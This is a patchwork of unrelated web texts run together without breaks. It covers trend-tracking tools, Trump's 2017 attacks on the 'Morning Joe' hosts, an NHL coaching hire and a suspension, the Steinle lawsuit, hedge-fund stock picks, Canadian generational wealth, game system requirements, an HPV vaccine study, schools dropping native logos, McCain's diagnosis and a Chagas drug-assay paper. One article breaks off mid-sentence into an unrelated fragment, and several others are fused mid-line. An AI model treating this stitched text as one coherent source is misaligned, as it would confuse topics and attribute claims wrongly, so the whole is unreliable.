Twit Scoop shows “what’s hot right now” in the form of a tag cloud and the “Hot trends” list.
shows “what’s hot right now” in the form of a tag cloud and the “Hot trends” list. TwittUrly displays hottest memes in a Digg-like style (where Tweets = Votes).
Use ecommerce sites to spot daily hot trends:
Amazon tag cloud shows which tags Amazon customers use to classify products.
. EBay pulse displays popular eBay searches.
Have I missed anything? Please add your method of spotting popular internet trends!(CNN) A defiant President Donald Trump resumed his attacks on MSNBC's "Morning Joe" co-hosts Joe Scarborough and Mika Brzezinski on Saturday morning, calling Scarborough "crazy" and Brzezinski "dumb as a rock," despite days of bipartisan criticism over his initial attacks on the pair earlier this week.
"Crazy Joe Scarborough and dumb as a rock Mika are not bad people, but their low rated show is dominated by their NBC bosses. Too bad!" Trump tweeted Saturday morning.
Crazy Joe Scarborough and dumb as a rock Mika are not bad people, but their low rated show is dominated by their NBC bosses. Too bad!
Republican and Democratic lawmakers rebuked Trump's attacks on the hosts Thursday after he slammed Brzezinski's intellect, questioned her sanity and mocked her appearance.
I heard poorly rated @Morning_Joe speaks badly of me (don't watch anymore). Then how come low I.Q. Crazy Mika, along with Psycho Joe, came..
...to Mar-a-Lago 3 nights in a row around New Year's Eve, and insisted on joining me. She was bleeding badly from a face-lift. I said no!
"I heard poorly rated @Morning_Joe speaks badly of me (don't watch anymore). Then how come low I.Q. Crazy Mika, along with Psycho Joe, came... to Mar-a-Lago 3 nights in a row around New Year's Eve, and insisted on joining me. She was bleeding badly from a face-lift. I said no!" Trump wrote in a series of tweets.
On Friday, Scarborough and Brzezinski responded to Trump's attacks with an opinion piece in The Washington Post titled "Donald Trump is not well."
"America's leaders and allies are asking themselves yet again whether this man is fit to be president," they wrote. "We have our doubts, but we are both certain that the man is not mentally equipped to continue watching our show, 'Morning Joe.'"
During their Friday "Morning Joe" broadcast, Scarborough and Brzezinski also accused Trump and his White House of using the possibility of a hit piece in the National Enquirer to threaten them and change their news coverage, to which Trump responded on Twitter by calling that accusation "FAKE NEWS. He called me to stop a National Enquirer article. I said no! Bad show."
Watched low rated @Morning_Joe for first time in long time. FAKE NEWS. He called me to stop a National Enquirer article. I said no! Bad show — Donald J. Trump (@realDonaldTrump) June 30, 2017
But Scarborough said he has proof of White House threats earlier this year; he replied to Trump by tweeting, "Yet another lie. I have texts from your top aides and phone records."
Yet another lie. I have texts from your top aides and phone records. Also, those records show I haven't spoken with you in many months. https://t.co/TZWiElo6Gs — Joe Scarborough (@JoeNBC) June 30, 2017
A White House official suggested to CNN that nothing untoward occurred, saying Scarborough called Trump's son-in-law, Jared Kushner, about the Enquirer story before it was published. The official said Kushner told Scarborough to call the President. The official denied there was ever any offer from Kushner of a quid pro quo -- in other words, softer coverage in exchange for spiking the Enquirer story.
The White House did not return a request for comment on Trump's latest tweet on Saturday.
Deputy White House press secretary Sarah Huckabee Sanders defended Trump's initial attack at Thursday's White House press briefing, saying, "Look, the American people elected a fighter. They didn't elect somebody to sit back and do nothing." She added that Trump "fights fire with fire."
Sanders also said on Fox News that Trump was responding to liberal bullying when he tweeted about the MSNBC host.
"I don't think that the President's ever been someone who gets attacked and doesn't push back," she told the network Thursday. "There have been an outrageous number of personal attacks not just to him but people around him."
First lady Melania Trump also stood by her husband's remarks about the hosts.
"As the first lady has stated publicly in the past, when her husband gets attacked, he will punch back 10 times harder," the first lady's communications director, Stephanie Grisham, said in a statement to CNN on Thursday.
When asked about Trump's initial tweets during a House Republican news conference Thursday, House Speaker Paul Ryan responded, "Obviously I don't see that as an appropriate comment."
He added: "What we're trying to do around here is improve the tone, the civility of the debate. And this obviously doesn't help do that."
Other Republican lawmakers reacted by making public pleas to the President to stop the personal attacks.
Please just stop. This isn't normal and it's beneath the dignity of your office. — Ben Sasse (@BenSasse) June 29, 2017
"Please just stop. This isn't normal and it's beneath the dignity of your office," GOP Sen. Ben Sasse of Nebraska tweeted shortly after Trump launched into a tweetstorm about the show.
Mr. President, your tweet was beneath the office and represents what is wrong with American politics, not the greatness of America. — Lindsey Graham (@LindseyGrahamSC) June 29, 2017
South Carolina Republican Sen. Lindsey Graham also tweeted Thursday: "Mr. President, your tweet was beneath the office and represents what is wrong with American politics, not the greatness of America."In May 2016, the Arizona Coyotes then 26-year-old John Chayka, making him the youngest general manager in NHL History. On Wednesday, the Coyotes made history again, hiring Dawn Braid, who's believed to be the first woman to become a full-time coach in the NHL. She will be the team's skating coach.
Both the Coyotes and a spokesperson for the NHL were unable to confirm to VICE Sports whether Braid is in fact the first female to get a full-time gig in the league. The hiring is, nonetheless, another big step forward for women attempting to break into the male-dominated Big Four sports.
"It's something that I've wanted to see happen," Braid said in a statement. "The fact that they respect what I do enough to name me as a full-time coach, or to name me as the first female coach in the NHL, I take a ton of pride in that. I've worked very hard for this opportunity. It's been going on for years and I just look forward to going even further with it."
Braid, who won't travel with the team or be behind the bench during games, is still free to work with other teams despite the hire, Coyotes assistant general manager Chris Hearn told VICE Sports.
The skating connoisseur worked on a part-time basis with the Coyotes in 2015 after previous stints with the Toronto Maple Leafs, Anaheim Ducks, Buffalo Sabres and Calgary Flames. Braid also spent seven years as the director of skating development at the Athletes Training Center in Mississauga, Ontario, where she instructed a variety of skaters, including New York Islanders captain John Tavares.
Other women have been employed by NHL teams, such as Barbara Underhill—currently a skating development consultant with the Leafs—but none are believed to have had a full-time position.
Braid's hiring comes two years after the San Antonio Spurs' groundbreaking hire of Becky Hammon as an assistant coach. And earlier this year the Buffalo Bills named Kathryn Smith as their quality control-special teams coach. Both women became the first full-time female coaches in their leagues. Progress.Kathryn Steinle’s parents get OK to sue feds, but SF cleared
Kathryn Steinle Kathryn Steinle Photo: Handout Photo Photo: Handout Photo Image 1 of / 32 Caption Close Kathryn Steinle’s parents get OK to sue feds, but SF cleared 1 / 32 Back to Gallery
The parents of Kathryn Steinle, who was shot to death on a San Francisco pier in July 2015 by an immigrant with a record of deportations, can sue the federal government for negligence because a ranger allegedly left the gun used in the shooting in his unlocked car, a federal magistrate ruled Friday.
U.S. Magistrate Joseph Spero dismissed the parents’ claims against the city of San Francisco, which had released Juan Francisco Lopez-Sanchez from custody less than three months before the shooting without notifying immigration authorities. But Spero said the parents may be able to prove that the federal government was at fault for Steinle’s death because its employee’s apparent carelessness led to the shooting.
“Leaving a gun loaded makes (its) capability for harm readily accessible in the same way as leaving the key in the ignition of a vehicle,” Spero said.
He cited past rulings by California courts allowing suits for harm caused by stolen vehicles that had been left unlocked, with the key inside, in high-crime neighborhoods. The gun used to shoot Steinle was stolen from the ranger’s car on a downtown San Francisco street.
Spero added, however, that the suit might be dismissed if there is no evidence that Lopez-Sanchez stole the gun. It’s not clear how California courts, whose rulings govern the negligence issue, would decide such a case, Spero said.
Lopez-Sanchez’s lawyer has denied his client stole the gun. Lopez-Sanchez, charged with murder, has also denied intentionally shooting at Steinle.
Spero dismissed the rest of the suit filed by Steinle’s parents, Jim Steinle and Elizabeth Sullivan. He rejected their claims that the city was legally responsible for releasing Lopez-Sanchez without contacting the federal government and that federal immigration officials, who had known the city was holding him, had a duty to pick him up and deport him. The parents could appeal those rulings.
Lopez-Sanchez had been deported to his native Mexico five times and had just spent 46 months in federal prison for illegal re-entry when federal officials turned him over to San Francisco in March 2015 to face an old marijuana charge. City prosecutors dropped the charge, and the office of then-Sheriff Ross Mirkarimi released Lopez-Sanchez, disregarding immigration officials’ request to hold him until they could pick him up.
Mirkarimi cited San Francisco’s sanctuary city ordinance, which allows local officers to ignore such requests by federal agencies. Ten weeks later, Steinle, 32, was shot to death as she walked with her father along Pier 14.
Her parents sued in May, saying that Mirkarimi had been acting on his own because the ordinance did not prohibit communication with federal officials. They also contended the city violated a federal law that prohibits state and local restrictions on informing the government about someone’s immigration status.
Spero said neither the sanctuary ordinance nor federal law required Mirkarimi to notify the government about Lopez-Sanchez. He also said federal officials had already |
planned to livestream their proceedings, and that’s also noted below.by
The Carolina Hurricanes should be riding high after Thursday night’s win against the St. Louis Blues. The Hurricanes ended a two game losing skid against the best team in the Western Conference. Goaltender Cam Ward picked up his 200th career win, and 20th shutout of the season on a 40 shot night. Plus forward Jeff Skinner became the team’s first 20 goal scorer of the season on a beautiful goal (goal of the year candidate?)
Unfortunately, as it seems to be the status quo for the Hurricanes this season, good news is soon followed by bad news. Today NHL disciplinarian Brendan Shanahan announced that the league has decided to suspend Jeff Skinner for the next two – games because of an incident that happened in the second period of Thursday night’s game.
In the final minute of the second period against the Blues, Jeff Skinner (who was lying on the ice along the boards) used his skate in an effort to push St. Louis Blues forward Scott Nichol away off of the puck. In the video *which I’ve provided a link to at the bottom of this post* Mr. Shanahan cited rule 49.1 under which Skinner violated.
“Rule 49.1 – Kicking: The Action of a player deliberately using his skate or skates with a kicking motion to propel the puck or to contact an opponent.”
“Regardless of whether Skinner thought he needed to protect himself or disengage himself from an opponent, any intentional or reckless use of the skate blade in this manner is extremely dangerous and unacceptable,” NHL disciplinarian Brendan Shanahan said.
According to Shanahan the following issues factored in to the decision to suspend Skinner:
Scott Nichol wasn’t injured Skinner was warned just 24 hours by the league after a slew – footing incident.
According to the team, Skinner will forfeit $9,729.72 to the Players’ Emergency Assistance Fund for the two games he misses.
As a fan, I’m completely okay with the punishment handed out, I’d think anywhere between 1 and 3 games would have been acceptable. This was a very dumb move, and very dangerous regardless of whether or not Skinner thought he had his skate in a safe spot. Obviously a warning from the league (just 24 hours prior) wasn’t getting through to Skinner so maybe the next two games off will give him time to reflect.
This isn’t the end of the world, he’s young and he’ll learn (like everyone has too), he’s just got to get through the next couple of weeks and then he’ll have all summer to recuperate and refocus.
Click to see the video
Your Call: Does it seem like Jeff Skinner is playing with a “chip” on his shoulder lately?
Have your say in our “Comments” section.
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AdvertisementsThere is a ton of good information in this quarterly report (link to PDF here, or in full at the bottom of this post). Goldman looks at 687 funds with $500 billion in long stock positions. Similar to a lot of what we do on AlphaClone.
They examine a few strategies that historically outperform the S&P500. The first is a strategy of buying the 20 most concentrated stocks (defined as hedge funds owning X% of the company). This has beaten the market by 14% a year since 2001. The 20 current stocks are:
SHLD
AN
AZO
CF
CBG
JAVA
NYT
AKS
MA
ETFC
CTL
SLM
AYE
GT
HAR
LIFE
WYE
ANF
MBI
CIEN
The highest concentration of stocks <$1billion market cap is:
FDML
LORL
ARII
RDEA
VIRL
AMV
AMAG
TSTR
CHRD
SUAI
Another strategy is the VIP list. This looks at the 50 stocks that most frequently appear among the largest 10 holdings of hedge funds with 10-200 holdings. This strategy has historically beaten the market by 2.8% a year since 2001. The top 10 are:
BAC
MSFT
AAPL
GOOG
JPM
PFE
QCOM
RIG
You can play around with these and many most similar strategies over on AlphaClone.
And probably my favorite graphic, here is the portfolio density of hedge funds vs. mutual funds. If you recall from the academic literature, you want the concentrated funds and not index huggers.
The 100 largest hedge funds by equity assets:
Goldman Sachs Hedge Fund MonitorAmy Clausen wonders whether her kids will ever enjoy a life like the one she had growing up in Metro Vancouver.
It’s a thought that weighs on the 38-year-old drama teacher and mother of two while she spends maternity leave in her new home, a ferry ride away in Victoria.
Clausen remembers a childhood in a single-family home with a yard, making many friends over the years.
But when she became an adult, a condo renting at $2,400 per month was all her family could afford.
After relocating to Victoria in September, the couple started saving as much as $600 a month in rent for a three-bedroom home.
There, she’s found a vibrant community with young families and kids all about.
“We notice so many more families with young children” in Victoria compared to Vancouver, Clausen told Global News.
Stories like Clausen’s are common fare in Canada’s two red-hot housing markets of Vancouver and Toronto. They are part of the narrative that’s feeding the perception that today’s young people have it tougher than previous generations did at their age.
But does Canada really have a generational inequality issue?
Global News put that theory to the test by combing through the numbers.
READ MORE: The Global News Cost of Living Series
When you look at earnings, generation X is the real loser
In 1977, as a wave of young Canadians born right after the Second World War was establishing themselves in the workforce, the average hourly earnings for employees peaked at over $24, adjusted for inflation. Today, young Canadians taking up their first job face a labour market where things have barely changed: The average hourly pay for full-time employees in 2016 was $27.70, according to Statistics Canada.
READ MORE: Are you earning a middle-class income? Here’s what it takes in Canada, based on where you live
But wages didn’t just stagnate for 40 years. A look at the breakdown by age reveals that, especially for men, earnings for younger workers actually dropped and climbed back up between 1980 and 2017. As the chart below shows, wages fell for Canadians aged 17 to 34 through the 1980s, largely stagnated in the 1990s and didn’t start recouping the lost ground until around 2005.
There are several factors that help explain the drop. The first one is the recession of the early 1980s, which hit young people the hardest, as economic downturns usually do, noted Thomas Lemieux, professor of economics at the University of British Columbia.
The decline of the manufacturing sector started weighing on wages, as well.
But the drop was also likely the effect of a wave of boomer kids flooding the labour market, said René Morissette, research manager at StatsCan’s Social Analysis and Modelling Division.
READ MORE: Financially helping adult kids may just be a return to an old normal
The decline likely hit some of the younger boomers, born in the early 1960s. But it was Canadians born in the mid-1970s, in the middle of the age bracket of generation X, that had the worst timing by entering the job market in the mid-1990s.
Millennials don’t exactly have it easy. The median hourly wage for today’s workers between the ages of 17 and 24 is still 10 per cent lower than it was in 1981. But millennials did, at least, start their career at a time when wages were once again trending upward.
Indeed, Canadians in their late 20s and early 30s today enjoy slightly higher wages than their peers did in 1980s.
WATCH: What a middle-class income looks like in cities across Canada
Same pay for more time in school and higher costs
The wage growth enjoyed by older millennials is modest and becomes even less impressive when you consider that today’s young workers are much more educated.
Although baby boomers already had more schooling than their parents, the trend toward higher and higher education rates continued through the decades. In 1976, just over 10 per cent of Canada’s prime-aged workers had a university degree, according to Statistics Canada. In 2014, that share was just short of 30 per cent.
And yet, better educated young workers failed to command significantly higher wages.
READ MORE: Here are the jobs with the highest — and lowest — wage growth in Canada
Millennials are also facing living costs that are likely considerably steeper in at least two respects: education and housing.
The price of a university degree today is much higher than it was for generation X, let alone boomers, with undergraduate tuition fees rising from $3,500 in 1993-1994 to $6,571 for 2017-2018.
And then, of course, there are housing prices.
Housing is hammering millennials most of all
If gen-Xers received the biggest blow in terms of earnings, millennials are the ones who got slammed by the housing market, according to Paul Kershaw, associate professor at UBC’s School of Population and Public Health and founder of Generation Squeeze, a group that advocates for young Canadians.
And “housing prices have risen much more dramatically [than wages],” noted Kershaw.
READ MORE: What $1,500 per month in rent gets you across Canada
Boomers’ timing entering the housing market wasn’t perfect. Young homebuyers in the early 1980s faced not only a housing bubble but double-digit interest rates.
READ MORE: How much does a week of groceries cost in Canada? We crunched the numbers
Things, however, eventually worked out for the post-war generation. The homeownership rate among Canadians aged 65 and over was 74.6 per cent in 2016 compared to 61.2 per cent in 1984. And boomers reaped the benefits of the current housing boom, with the median net worth for households headed by a senior rising more than four-fold from $111,693 in 1984 to $460,700 in 2012 (in constant 2012 dollars), according to a 2014 analysis by BMO Financial Group.
READ MORE: Own a car? You won’t believe how much that’s costing you every year
“The typical senior is nearly nine times richer than the typical millennial, a wealth gap between similar age groups that has more than doubled since 1984,” reads the report.
WATCH: Here’s how much a family of four would have to make to comfortably afford a week of healthy groceries
It’s not easy for young families to escape the squeeze
Nowhere have young Canadians felt the crunch of housing prices as in Vancouver and Toronto. But Canada is a big country with lots of real estate markets where median incomes are still enough to buy the detached home of every middle-class family’s dream.
So why don’t millennials and young gen-Xers just leave for more affordable pastures?
For one, today’s generation is “more constrained to a bigger urban environment for jobs than previous generations were,” argued Kershaw.
Big cities are often where young workers are most likely to find more and better jobs.
And sometimes, even when people do move, the squeeze follows.
That’s Clausen’s fear.
Housing affordability is rapidly eroding in Victoria, much as it has in Vancouver.
Just two years ago, mortgages payments, property taxes and utility costs for your average single-family home in Victoria took up 46.4 per cent of the median pre-tax household income, according to RBC’s Housing Trends and Affordability Report.
That share now stands at 58.6 per cent.
Clausen, whose family isn’t ready to buy a house yet, is closely monitoring housing prices and hoping that the upward climb will stop.
“It’s very anxiety provoking to look around and think, wow, affordability, if we’re being blown out of this market, just like we got blown out of the Lower Mainland, you know, we’re watching that happen.”EA released the system requirements for Star Wars Battlefront ahead of its recent PC beta, and it\'s as demanding as we\'d expect from a big DICE shooter. According to EA, you\'re going to want a GTX 970 and modern Core i5 CPU to run Battlefront to its fullest. But from our our testing with the Battlefront beta, the actual system requirements aren\'t too scary. We got decent performance on a four-year-old PC by adjusting the settings.
The full specs are below.
Minimum PC System Requirements
OS: 64-bit Windows 7 or later
Processor (Intel): Intel i3 6300T or equivalent
Memory: 8GB RAM
Hard Drive: At least 40 GB of free space
Graphics card (NVIDIA): nVidia GeForce GTX 660 2GB
Graphics card (ATI): ATI Radeon HD 7850 2GB
DirectX: 11.0 Compatible video card or equivalent
Online Connection Requirements: 512 KBPS or faster Internet connection
Recommended PC System Requirements
OS: 64-bit Windows 10 or later
Processor (Intel): Intel i5 6600 or equivalent
Memory: 16GB RAM
Hard Drive: At least 40 GB of free space
Graphics card (NVIDIA): nVidia GeForce GTX 970 4GB
Graphics card (AMD): AMD Radeon R9 290 4GB
DirectX: 11.1 Compatible video card or equivalent
Online Connection Requirements: 512 KBPS or faster Internet connection
Do you also need a new machine to hit even the minimum specs? Before you start picking out graphics cards, check out Sam\'s hands-on to see if it\'s really worth it.HPV vaccination for women a boon to men
A study of human papillomavirus (HPV) by Monash University researchers at the Melbourne Sexual Health Centre has found – for the first time – that HPV vaccination programs for women are also benefitting men.
Australia introduced a school-based quadrivalent vaccination program for HPV for girls in April 2007 targeting four genotypes of HPV: genotypes 6 and 11, which are responsible for genital warts and the high-risk genotypes 16 and 18 which can cause malignant cancers including ovarian, penile and anal cancers. Genital HPV, a common sexually transmitted infection, has many types.
It was already known that the program reduced rates of HPV infection in young women but the study marked the first time the effects on young heterosexual men were analysed.
Researchers led by Dr Eric Chow and centre director Professor Kit Fairley conducted a retrospective analysis of urine and urethral swab chlamydia positive specimens taken from heterosexual men aged 25 years or younger attending the centre from 2004 to 2015. They analysed data from a number of other HPV genotypes as well as the four targeted by the vaccines.
The results were striking: of the Australian-born men, the prevalence of the low-risk genotypes 6 and 11 dropped from 11% to 1%, whilst genotypes 16 and 18 dropped from 9% to 1%. The non-vaccine targeted genotypes considered increased from 16% to 18%.
Data was also conducted comparing Australian-born men with men in other countries that had bivalent vaccination programs for HPV genotypes 16 and 18, (England, Scotland, Wales, the Cook Islands, Northern Ireland and the Netherlands). The findings showed that prevalence of these genotypes in the post-vaccination period decreased significantly whilst the prevalence of non-vaccinated genotypes 6 and 11 didn’t.
The study, which appeared in the journal Lancet Infectious Diseases, noted that the trends were consistent with the magnitude in reduction in genital warts in men from previous findings but were the first evidence of what is called “herd protection” from the two high-risk genotypes.
Dr Chow said the clinic now sees far fewer cases of genital warts but that rates of cancer associated with HPV are harder to monitor because of the time it takes for cancer to develop.
HPV vaccination programs for boys began in Australia in 2013.
Reference: Chow EP, Machalek DA, Tabrizi SN, Danielewski JA, Fehler G, Bradshaw CS, Garland SM, Chen MY, Fairley CK. Quadrivalent vaccine-targeted human papillomavirus genotypes in heterosexual men after the Australian female human papillomavirus vaccination programme: a retrospective observational study. Lancet Infect Dis. 2016 Jun 6. pii: S1473-3099(16)30116-5. doi: 10.1016/S1473-3099(16)30116-5. [Epub ahead of print]Students at Port Credit Secondary School in Mississauga wear the school T-shirts during gym class on May 2. The team will continue to be called the Warriors next fall, but the logo will be changed. FRED LUM/THE GLOBE AND MAIL
Two Toronto-area high schools will be removing native imagery and names from their sports teams by the fall – part of a wider movement among educators to ban logos that are deemed offensive and culturally inappropriate by the aboriginal community.
Port Credit Secondary School in Mississauga will keeps its name, the Warriors, but remove the image of two yellow feathers painted on its gym floor and phase out team uniforms with a Chief's head image, while sports teams at Brampton's Chinguacousy Secondary School won't be referred to as the Chiefs. The school will find a new name by the fall that does not include any elements that reflect aboriginal culture.
Brian Woodland, a spokesman for the Peel District School Board, said there was no resistance from the schools, and dismissed any charges of political correctness.
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"I think that's such a misnomer. As a school system, we don't ever want something that is offensive, that is hurtful," Mr. Woodland said. "We don't ever want something that makes people not feel included."
Championship banners hang from the rafters of the gymnasium at Port Credit Secondary School. FRED LUM/THE GLOBE AND MAIL
The debate is intense around the use of logos and names for sports teams that are particular to aboriginal culture. Defenders say it demonstrates pride and a fighting spirit, while opponents say it promotes misunderstanding and prejudice.
From the archives Former Edmonton Eskimo supports changing team's name A former Edmonton Eskimo who once visited Nunavut with the Grey Cup says it’s time to respect that the team’s name is considered offensive to aboriginal people.
Among the most controversial names is the Washington Redskins, part of the biggest sports monolith on the North American sports landscape. The National Football League team has come under pressure to change its name and image, which is seen as offensive. The team's owner, Daniel Snyder, has been openly intractable on the issue.
Closer to home, a group of school equity officers in Ontario have called on Education Minister Liz Sandals and school boards to stop sports teams from using indigenous names, logos and mascots.
Ms. Sandals said in a statement that school boards should work with their schools and communities. "All forms of discrimination, including discrimination based on race, age, disability, or other factors are unacceptable in our schools, and we have strengthened the requirements for school boards to foster safe, inclusive and accepting schools for all students," she said.
Ontario Education Minister Liz Sandals. FRANK GUNN/THE CANADIAN PRESS
Across the country, school boards say they deal with issues as they come to light.
A Toronto District School Board spokesman said he is not aware of any schools that currently have aboriginal names or logos. There have been issues in the past. Among them, Runnymede Collegiate Institute changed its name from the Redmen to the Ravens in the 1990s and West Hill Collegiate Institute changed its logo (an aboriginal head with red war paint and feathers) in 2009, but retained the name Warriors..
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At the Halton District School Board, west of Toronto, Georgetown District High School removed the confederate flag from its logo in the 1990s. The flag is associated with racism and slavery.
"The board and its staff are …committed to the elimination of all types of discrimination," said spokesman Jason Misner.
At the Peel District School Board, an equity and inclusion advisory committee reviewed all sports team names and logos recently, and then took them to a group of aboriginal leaders for review. The names and logos of only two high schools were found to be problematic.
Port Credit Secondary School will be losing this logo at its gym’s centre court. FRED LUM/THE GLOBE AND MAIL
Bill Morrison, with the Métis Nation of Ontario and who was among the aboriginal leaders advising the school board, said the feathers on the gym floor at Port Credit Secondary School had "ceremonial significance" and had to be removed. He said the changes made by the two schools in Peel speaks to an educational awareness, as opposed to being politically motivated.
"I think it is a very significant move by the schools to be aware and be cognizant of the histories that surround them," Mr. Morrison said. "The changing of the logo and the changing of the name is probably, in my perspective, more appropriate. They're making a correct decision."
MORE FROM THE GLOBE AND MAIL
Attention Edmonton Eskimos: Inuit are not mascots Natan Obed is the President of Inuit Tapiriit Kanatami, Canada's national Inuit organization.U.S. Senator John McCain was found to have a brain tumor, according to a Wednesday statement released by his office.
The tumor was discovered after the former Republican presidential nominee underwent a procedure last week to remove a blood clot.
Of note, the senator's doctors said in the statement that McCain's "underlying health is excellent."
Here's the statement:
Washington, D.C. – At the request of Senator John McCain (R-AZ) and his family, Mayo Clinic released the following statement today: "On Friday, July 14, Sen. John McCain underwent a procedure to remove a blood clot from above his left eye at Mayo Clinic Hospital in Phoenix. Subsequent tissue pathology revealed that a primary brain tumor known as a glioblastoma was associated with the blood clot. "Scanning done since the procedure (a minimally invasive craniotomy with an eyebrow incision) shows that the tissue of concern was completely resected by imaging criteria. "The Senator and his family are reviewing further treatment options with his Mayo Clinic care team. Treatment options may include a combination of chemotherapy and radiation. "The Senator's doctors say he is recovering from his surgery 'amazingly well' and his underlying health is excellent." The office of Senator John McCain also released the following statement: "Senator McCain appreciates the outpouring of support he has received over the last few days. He is in good spirits as he continues to recover at home with his family in Arizona. He is grateful to the doctors and staff at Mayo Clinic for their outstanding care, and is confident that any future treatment will be effective. Further consultations with Senator McCain's Mayo Clinic care team will indicate when he will return to the United States Senate."
McCain issued a statement on Twitter:
President Donald Trump released a message soon after the news of the senator's condition broke. "Senator John McCain has always been a fighter," he said. "Melania and I send our thoughts and prayers to Senator McCain, Cindy, and their entire family. Get well soon."
The senator's daughter, Meghan McCain, also issued a statement on Twitter about the diagnosis:Chagas disease, caused by the protozoan parasite Trypanosoma cruzi (T. cruzi), is a life threatening global health problem with only two drugs available for treatment (benznidazole and nifurtimox), both having variable efficacy in the chronic stage of the disease and high rates of adverse drug reactions. Inhibitors of sterol 14α-demethylase (CYP51) have proven effective against T. cruzi in vitro and in vivo in animal models of Chagas disease. Consequently two azole inhibitors of CYP51 (posaconazole and ravuconazole) have recently entered clinical development by the Drugs for Neglected Diseases initiative. Further new drug treatments for this disease are however still urgently required, particularly having a different mode of action to CYP51 in order to balance the overall risk in the drug discovery portfolio. This need has now been further strengthened by the very recent reports of treatment failure in the clinic for both posaconazole and ravuconazole. To this end and to prevent enrichment of drug candidates against a single target, there is a clear need for a robust high throughput assay for CYP51 inhibition in order to evaluate compounds active against T. cruzi arising from phenotypic screens. A high throughput fluorescence based functional assay using recombinantly expressed T. cruzi CYP51 (Tulahuen strain) is presented here that meets this requirement. This assay has proved valuable in prioritising medicinal chemistry resource on only those T. cruzi active series arising from a phenotypic screening campaign where it is clear that the predominant mode of action is likely not via inhibition of CYP51.
Chagas disease, caused by the parasite Trypanosoma cruzi (T. cruzi), is endemic in Latin America and emerging in North America and Europe through human migration. It is a severe global health problem with 8–10 million people infected and an estimated 12,000 deaths annually. Current treatment options are poorly efficacious and have severe side effects. New drugs are therefore urgently required. Two of these potential new drugs, posaconazole and ravuconazole, both targeting an enzyme in T. cruzi called CYP51, have recently failed in clinical development. Therefore, in light of these recent clinical failures and in order to better balance the overall risk in the drug discovery portfolio for Chagas disease, it has become prudent to assess whether new chemical start points for drug discovery programmes have a mode of action predominantly driven by T. cruzi CYP51 inhibition. In this paper we report a fluorescence based assay to determine whether compounds inhibit T. cruzi CYP51. This provides a high throughput screen to help prioritise medicinal chemistry resource on those T. cruzi active new chemical series that do not have a mode of action predominantly driven by CYP51 inhibition.
Competing interests: DC and IC are employed by GlaxoSmithKline. This does not alter their adherence to all PLOS NTDs policies on sharing data and materials. They have declared that no competing interests exist. MV is director of CYPEX Ltd. This does not alter his adherence to all PLOS NTDs policies on sharing data and materials. However, he cannot make the plasmid (or E.coli containing the plasmid) freely available as the ompA part is patented and would be in breach of his licence. He has no competing interests although it should be noted that the T. cruzi CYP51 enzyme developed in this paper will be made available for sale commercially through CYPEX. KR, JR and SB have declared that no competing interests exist.
Funding: Funding under Wellcome Trust strategic award WT092340 and WT100476 supported this work for JR, SB and KR. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript.
Copyright: © 2015 Riley et al. This is an open access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited
Introduction
Chagas disease is a tropical parasitic disease caused by the flagellate eukaryotic (protozoan) parasite Trypanosoma cruzi (T. cruzi), endemic in Latin America and now emerging in North America and Europe through human migration. It is becoming a severe global health problem with approximately 8–10 million people infected, an estimated 12,000 deaths per year, and placing 100 million people at risk. Transmission to humans and other mammals is predominantly by an insect vector, the blood-sucking "kissing bugs" of the subfamily Triatominae (family Reduviidae) [1]. Transmission has also been reported to occur through contaminated food, blood transfusions and from mother to child.
Clinical Chagas disease can be classified into two distinct phases, acute and chronic. In the acute phase, lasting a few weeks, parasites begin to multiply in the organs and tissues. Symptoms are usually mild and non-specific with patients rarely being diagnosed. However, life-threatening myocarditis or meningoencephalitis can occur during the acute phase with a death rate for people in this phase of about ten percent. Ten to fifty percent of infected survivors develop chronic Chagas disease. People in the chronic phase can be asymptomatic for many years, with parasites generally undetectable in the blood. However, the disease causes organ and tissue damage, particularly potentially lethal cardiopathy and megacolon or megaoesophagus, caused by the sequential induction of inflammatory response to the parasite. Nitroheterocyclic compounds, benznidazole and nifurtimox, developed in the 1960’s [2], are currently the only two drugs used for the treatment of Chagas disease. Both have low efficacy in the chronic stage and, with prolonged dosing regimens, both drugs have significant side effects including skin irritation, neurotoxicity, and digestive system disorders [3]. Newer, safer and more efficacious treatments are therefore in desperate need.
Inhibition of sterol 14α-demethylase (CYP51) has been considered a viable target against T. cruzi for over 30 years [2,4,5,6,7,8]. Found in a broad variety of organisms including animals, plants, fungi and protozoa, this enzyme plays an essential role in the sterol biosynthetic pathway, catalysing the oxidative removal of the 14α-methyl group from sterol precursors such as lanosterol or eburicol [9]. The products of the pathway, cholesterol in humans or ergosterol in fungi, are required for the integrity of the eukaryotic cell membrane. These sterols are required for membrane function in T. cruzi. Inhibition of CYP51 activity is lethal as the T. cruzi parasites are unable to scavenge and utilise host cholesterol [10]. The CYP51 gene is known to be expressed in all stages of the parasite life cycle and indeed it has also been shown to be up-regulated in multiplying forms [9]. As with other members of the Cytochrome family, CYP51 is a haem containing protein located on the membrane of the endoplasmic reticulum that relies upon electron transfer by NADPH reductase for activation [11].
Azole inhibitors, which interfere with sterol biosynthesis, essential in eukaryotic cells, have already been used with success in humans in the treatment of fungal infections. Several of these drugs have been considered as possible treatments for Chagas disease [12]. Ketoconazole, fluconazole, itraconazole, ravuconazole and posaconazole are known to inhibit CYP51 in vitro, competitively binding to the haem within CYP51 and occupying the active site preventing any substrate from binding. Although ketoconazole and itraconazole have not demonstrated significant curative activity in humans with chronic Chagas disease [6], other azoles, with greater potency and improved pharmacokinetic properties, which have been shown to have potent activity against T. cruzi, including posaconazole [13,14] and ravuconazole (Fig 1), are in clinical development with the Drugs for Neglected Diseases initiative (DNDi).
To prevent enrichment of candidates against a single target, and thus reduce risk in the overall drug discovery portfolio for Chagas disease, it has therefore become necessary to evaluate and prioritise medicinal chemistry resource on new chemical series active against T. cruzi but with such activity not likely driven via T. cruzi CYP51 inhibition. Recent findings from clinical trials with posaconazole [15] and ravuconazole [16] has indicated re-emergence of parasitaemia in two thirds of patients once dosing has been completed, thus reinforcing the need to strengthen the overall drug discovery portfolio for Chagas disease with new chemical lead series not working via this mechanism of action.
Evaluating compounds as potential inhibitors of T. cruzi CYP51 has previously been demonstrated measuring the apparent dissociation constants (Kd) by spectral titration [4,17,18] utilising the shift of the haem iron soret band in response to binding [18]. One of the drawbacks to this methodology is that micromolar protein concentrations are required for screening causing potential interference with the optical properties and/or solubility of test compounds [4]. There are many potential reasons why affinity estimates measured by binding may not correlate with functional inhibition. These include allosteric sites, non or uncompetitive modes of inhibition or slow kinetics [19].
